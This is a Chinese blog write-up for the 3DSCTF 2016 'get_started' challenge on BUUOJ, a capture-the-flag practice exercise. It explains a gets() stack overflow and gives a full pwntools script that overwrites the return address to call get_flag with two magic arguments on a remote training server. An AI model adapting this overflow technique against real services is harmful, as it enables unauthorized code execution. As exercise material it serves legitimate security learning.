get_started_3dsctf_2016

 

 

 

 

 

 

 gets()

ebp-38h   ==>    0x38 * 'a'

 

 

 

选择a1  a2  按H键

 

 

 当a1  0x30.....等于a2  0x1957...时if循环进行

 

 'a'*offset + 'ebp' + get_flag + get_flag的返回地址 + 参数a1 + 参数a2

 

 

知识点:

1.exit函数   C 库函数 – exit() | 菜鸟教程 (runoob.com)

2.sleep(0.1)

3.payload  的顺序不能乱

4.recv接受数据

  参考:   get_started_3dsctf_2016 - 不会修电脑 - 博客园 (cnblogs.com)

from pwn import*

io=remote("node4.buuoj.cn",28889)
a1=0x308CD64F
a2=0x195719D1
exit=0x0804E6A0
context.log_level = 'debug'
#sleep(0.1)

payload='a'*56
payload+=p32(0x080489A0)
payload+=p32(exit)
payload+=p32(a1)+p32(a2)


io.sendline(payload)
#sleep(0.1)
io.recv()
io.interactive()
View Code

 

posted @ 2022-07-04 19:13  lypp冲冲冲  阅读(38)  评论(0)    收藏  举报
/*每日诗词上*/